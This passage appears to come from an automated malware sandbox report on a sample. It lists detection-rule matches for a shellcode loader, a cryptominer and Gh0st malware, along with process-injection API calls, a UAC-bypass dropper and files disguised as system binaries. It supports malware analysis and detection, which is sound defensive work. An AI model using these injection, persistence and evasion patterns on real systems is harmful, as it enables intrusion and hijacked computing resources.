              Source: 0000000F.00000002.2198853521.0000000000AA7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_5c38878d Author: unknown
              Source: 0000000E.00000002.2259611805.000001EC44910000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
              Source: 0000000E.00000002.2259611805.000001EC44910000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_5c38878d Author: unknown
              Source: 00000010.00000003.2257958978.000002476943B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
              Source: 00000010.00000003.2262725045.0000024769431000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
              Source: 00000010.00000003.2236720791.0000024769432000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
              Source: 0000000C.00000002.2213477315.0000000000B97000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
              Source: 0000000C.00000002.2213477315.0000000000B97000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_5c38878d Author: unknown
              Source: 00000010.00000003.2242162134.0000024769431000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
              Source: 00000010.00000003.2232579749.0000024769436000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
              Source: 00000010.00000003.2239521563.000002476943F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
              Source: 00000004.00000002.2151276225.0000000000AB6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
              Source: 00000004.00000002.2151276225.0000000000AB6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_5c38878d Author: unknown
              Source: 00000010.00000003.2263942655.0000024769433000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
              Source: 00000010.00000003.2260012653.0000024769436000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
              Source: 00000010.00000003.2231606755.0000024769434000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
              Source: 00000010.00000003.2244730823.000002476943C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
              Source: 00000010.00000003.2266356078.0000024769438000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
              Source: 00000010.00000003.2230448544.0000024769438000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
              Source: 00000010.00000003.2243392476.000002476943F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
              Source: 00000010.00000003.2241271993.000002476943F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
              Source: 00000010.00000003.2256496200.0000024769432000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
              Source: 00000010.00000003.2240379880.000002476943D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
              Source: 00000010.00000003.2220629227.0000024769433000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
              Source: Process Memory Space: conhost.exe PID: 2848, type: MEMORYSTRMatched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
              Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exe, type: DROPPEDMatched rule: Detects Codoso APT Gh0st Malware Author: Florian Roth
              Source: C:\Users\user\AppData\Local\Temp\Cool.exeCode function: 4_2_00401D58 NtAllocateVirtualMemory,4_2_00401D58
              Source: C:\Users\user\AppData\Local\Temp\Cool.exeCode function: 4_2_00401D18 NtWriteVirtualMemory,4_2_00401D18
              Source: C:\Users\user\AppData\Local\Temp\Cool.exeCode function: 4_2_004019D8 NtCreateThreadEx,4_2_004019D8
              Source: C:\Users\user\AppData\Local\Temp\Cool.exeCode function: 4_2_00401D98 NtProtectVirtualMemory,4_2_00401D98
              Source: C:\Users\user\AppData\Local\Temp\Cool.exeCode function: 4_2_00401C98 NtClose,4_2_00401C98
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeCode function: 17_2_00401D58 NtAllocateVirtualMemory,17_2_00401D58
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeCode function: 17_2_00401D18 NtWriteVirtualMemory,17_2_00401D18
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeCode function: 17_2_004019D8 NtCreateThreadEx,17_2_004019D8
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeCode function: 17_2_00401D98 NtProtectVirtualMemory,17_2_00401D98
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeCode function: 17_2_00401C98 NtClose,17_2_00401C98
              Source: C:\Windows\System32\conhost.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Libs\WR64.sysJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeCode function: 0_2_00007FFD343F089D0_2_00007FFD343F089D
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeCode function: 0_2_00007FFD343F05680_2_00007FFD343F0568
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeCode function: 0_2_00007FFD343F0B400_2_00007FFD343F0B40
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeCode function: 0_2_00007FFD343F05000_2_00007FFD343F0500
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFD343EACFA2_2_00007FFD343EACFA
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFD343E21082_2_00007FFD343E2108
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFD343EB9BA2_2_00007FFD343EB9BA
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFD343EAD832_2_00007FFD343EAD83
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFD343EBAFA2_2_00007FFD343EBAFA
              Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exeCode function: 5_2_00007FF6FE422F805_2_00007FF6FE422F80
              Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exeCode function: 5_2_00007FF6FE421CB05_2_00007FF6FE421CB0
              Source: C:\Windows\System32\conhost.exeCode function: 7_2_00000236C517E3067_2_00000236C517E306
              Source: C:\Windows\System32\conhost.exeCode function: 7_2_00000236C517E6D67_2_00000236C517E6D6
              Source: C:\Windows\System32\conhost.exeCode function: 7_2_00000236C517EB0E7_2_00000236C517EB0E
              Source: C:\Windows\System32\conhost.exeCode function: 7_2_00000236C517D6D27_2_00000236C517D6D2
              Source: C:\Windows\System32\conhost.exeCode function: 7_2_00000236C517EF6A7_2_00000236C517EF6A
              Source: C:\Windows\System32\conhost.exeCode function: 7_2_00007FFD344A5EA27_2_00007FFD344A5EA2
              Source: C:\Windows\System32\conhost.exeCode function: 7_2_00007FFD344A50F67_2_00007FFD344A50F6
              Source: C:\Windows\System32\conhost.exeCode function: 14_2_000001EC44B2E6D614_2_000001EC44B2E6D6
              Source: C:\Windows\System32\conhost.exeCode function: 14_2_000001EC44B2E30614_2_000001EC44B2E306
              Source: C:\Windows\System32\conhost.exeCode function: 14_2_000001EC44B2EF6A14_2_000001EC44B2EF6A
              Source: C:\Windows\System32\conhost.exeCode function: 14_2_000001EC44B2EB0E14_2_000001EC44B2EB0E
              Source: C:\Windows\System32\conhost.exeCode function: 14_2_000001EC44B2D6D214_2_000001EC44B2D6D2
              Source: C:\Windows\System32\conhost.exeCode function: 14_2_00007FFD344A516C14_2_00007FFD344A516C
              Source: C:\Windows\System32\conhost.exeCode function: 14_2_00007FFD344A5F1C14_2_00007FFD344A5F1C
              Source: C:\Windows\System32\conhost.exeCode function: 14_2_00007FFD344A159D14_2_00007FFD344A159D
              Source: C:\Windows\System32\conhost.exeCode function: 18_2_0000025C641148D618_2_0000025C641148D6
              Source: C:\Windows\System32\conhost.exeCode function: 18_2_0000025C6411450618_2_0000025C64114506
              Source: C:\Windows\System32\conhost.exeCode function: 18_2_0000025C6411516A18_2_0000025C6411516A
              Source: C:\Windows\System32\conhost.exeCode function: 18_2_0000025C64114D0E18_2_0000025C64114D0E
              Source: C:\Windows\System32\conhost.exeCode function: 18_2_0000025C641138D218_2_0000025C641138D2
              Source: C:\Windows\System32\conhost.exeCode function: 18_2_00007FFD344941A618_2_00007FFD344941A6
              Source: C:\Windows\System32\conhost.exeCode function: 18_2_00007FFD34494F5218_2_00007FFD34494F52
              Source: C:\Windows\System32\conhost.exeCode function: 18_2_00007FFD34493CA918_2_00007FFD34493CA9
              Source: C:\Windows\System32\conhost.exeCode function: 22_2_000001D90D37E6D622_2_000001D90D37E6D6
              Source: C:\Windows\System32\conhost.exeCode function: 22_2_000001D90D37E30622_2_000001D90D37E306
              Source: C:\Windows\System32\conhost.exeCode function: 22_2_000001D90D37EF6A22_2_000001D90D37EF6A
              Source: C:\Windows\System32\conhost.exeCode function: 22_2_000001D90D37D6D222_2_000001D90D37D6D2
              Source: C:\Windows\System32\conhost.exeCode function: 22_2_000001D90D37EB0E22_2_000001D90D37EB0E
              Source: C:\Windows\System32\conhost.exeCode function: 22_2_00007FFD344A5EA222_2_00007FFD344A5EA2
              Source: C:\Windows\System32\conhost.exeCode function: 22_2_00007FFD344A50F622_2_00007FFD344A50F6
              Source: C:\Windows\System32\conhost.exeCode function: 22_2_00007FFD344A159D22_2_00007FFD344A159D
              Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Roaming\Microsoft\Libs\WR64.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
              Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 432 -p 6012 -ip 6012
              Source: GcqJPBLD2Q.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
              Source: 0.2.GcqJPBLD2Q.exe.35f5ad0.2.raw.unpack, type: UNPACKEDPEMatched rule: Codoso_Gh0st_2 date = 2016-01-30, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, hash = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
              Source: 5.0.DccwBypassUAC.exe.7ff6fe420000.0.unpack, type: UNPACKEDPEMatched rule: Codoso_Gh0st_2 date = 2016-01-30, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, hash = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
              Source: 0.2.GcqJPBLD2Q.exe.35e1868.1.raw.unpack, type: UNPACKEDPEMatched rule: Codoso_Gh0st_2 date = 2016-01-30, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, hash = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
              Source: 0.2.GcqJPBLD2Q.exe.3609d68.3.raw.unpack, type: UNPACKEDPEMatched rule: Codoso_Gh0st_2 date = 2016-01-30, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, hash = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
              Source: 0.2.GcqJPBLD2Q.exe.35e1868.1.unpack, type: UNPACKEDPEMatched rule: Codoso_Gh0st_2 date = 2016-01-30, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, hash = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
              Source: 5.2.DccwBypassUAC.exe.7ff6fe420000.0.unpack, type: UNPACKEDPEMatched rule: Codoso_Gh0st_2 date = 2016-01-30, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, hash = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
              Source: 00000012.00000002.2234389210.0000025C64110000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
              Source: 00000012.00000002.2234389210.0000025C64110000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_5c38878d os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 3b55ec6c37891880b53633b936d10f94d2b806db1723875e4ac95f8a34d97150, id = 5c38878d-ca94-4fd9-a36e-1ae5fe713ca2, last_modified = 2021-01-13
              Source: 00000016.00000002.2255998341.000001D90D160000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
              Source: 00000016.00000002.2255998341.000001D90D160000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_5c38878d os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 3b55ec6c37891880b53633b936d10f94d2b806db1723875e4ac95f8a34d97150, id = 5c38878d-ca94-4fd9-a36e-1ae5fe713ca2, last_modified = 2021-01-13
              Source: 00000018.00000002.2249781552.0000000000845000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
              Source: 00000018.00000002.2249781552.0000000000845000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_5c38878d os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 3b55ec6c37891880b53633b936d10f94d2b806db1723875e4ac95f8a34d97150, id = 5c38878d-ca94-4fd9-a36e-1ae5fe713ca2, last_modified = 2021-01-13
              Source: 00000014.00000002.2235023601.0000000000A8C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
              Source: 00000014.00000002.2235023601.0000000000A8C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_5c38878d os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 3b55ec6c37891880b53633b936d10f94d2b806db1723875e4ac95f8a34d97150, id = 5c38878d-ca94-4fd9-a36e-1ae5fe713ca2, last_modified = 2021-01-13
              Source: 00000010.00000003.2255180923.0000024769437000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
              Source: 00000010.00000003.2218560312.000002476943E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
              Source: 00000010.00000003.2265143646.0000024769433000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
              Source: 00000010.00000003.2238560339.0000024769435000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
              Source: 00000007.00000002.2189995465.00000236C4F60000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
              Source: 00000007.00000002.2189995465.00000236C4F60000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_5c38878d os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 3b55ec6c37891880b53633b936d10f94d2b806db1723875e4ac95f8a34d97150, id = 5c38878d-ca94-4fd9-a36e-1ae5fe713ca2, last_modified = 2021-01-13
              Source: 00000010.00000003.2261244602.000002476943C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
              Source: 00000010.00000003.2237491368.0000024769430000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
              Source: 00000011.00000002.2211357524.0000000000825000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
              Source: 00000011.00000002.2211357524.0000000000825000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_5c38878d os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 3b55ec6c37891880b53633b936d10f94d2b806db1723875e4ac95f8a34d97150, id = 5c38878d-ca94-4fd9-a36e-1ae5fe713ca2, last_modified = 2021-01-13
              Source: 00000010.00000003.2246350754.0000024769436000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
              Source: 00000017.00000002.2257559925.0000000000925000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
              Source: 00000017.00000002.2257559925.0000000000925000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_5c38878d os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 3b55ec6c37891880b53633b936d10f94d2b806db1723875e4ac95f8a34d97150, id = 5c38878d-ca94-4fd9-a36e-1ae5fe713ca2, last_modified = 2021-01-13
              Source: 0000000F.00000002.2198853521.0000000000AA7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
              Source: 0000000F.00000002.2198853521.0000000000AA7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_5c38878d os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 3b55ec6c37891880b53633b936d10f94d2b806db1723875e4ac95f8a34d97150, id = 5c38878d-ca94-4fd9-a36e-1ae5fe713ca2, last_modified = 2021-01-13
              Source: 0000000E.00000002.2259611805.000001EC44910000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
              Source: 0000000E.00000002.2259611805.000001EC44910000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_5c38878d os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 3b55ec6c37891880b53633b936d10f94d2b806db1723875e4ac95f8a34d97150, id = 5c38878d-ca94-4fd9-a36e-1ae5fe713ca2, last_modified = 2021-01-13
              Source: 00000010.00000003.2257958978.000002476943B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
              Source: 00000010.00000003.2262725045.0000024769431000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
              Source: 00000010.00000003.2236720791.0000024769432000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
              Source: 0000000C.00000002.2213477315.0000000000B97000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
              Source: 0000000C.00000002.2213477315.0000000000B97000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_5c38878d os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 3b55ec6c37891880b53633b936d10f94d2b806db1723875e4ac95f8a34d97150, id = 5c38878d-ca94-4fd9-a36e-1ae5fe713ca2, last_modified = 2021-01-13
              Source: 00000010.00000003.2242162134.0000024769431000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
              Source: 00000010.00000003.2232579749.0000024769436000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
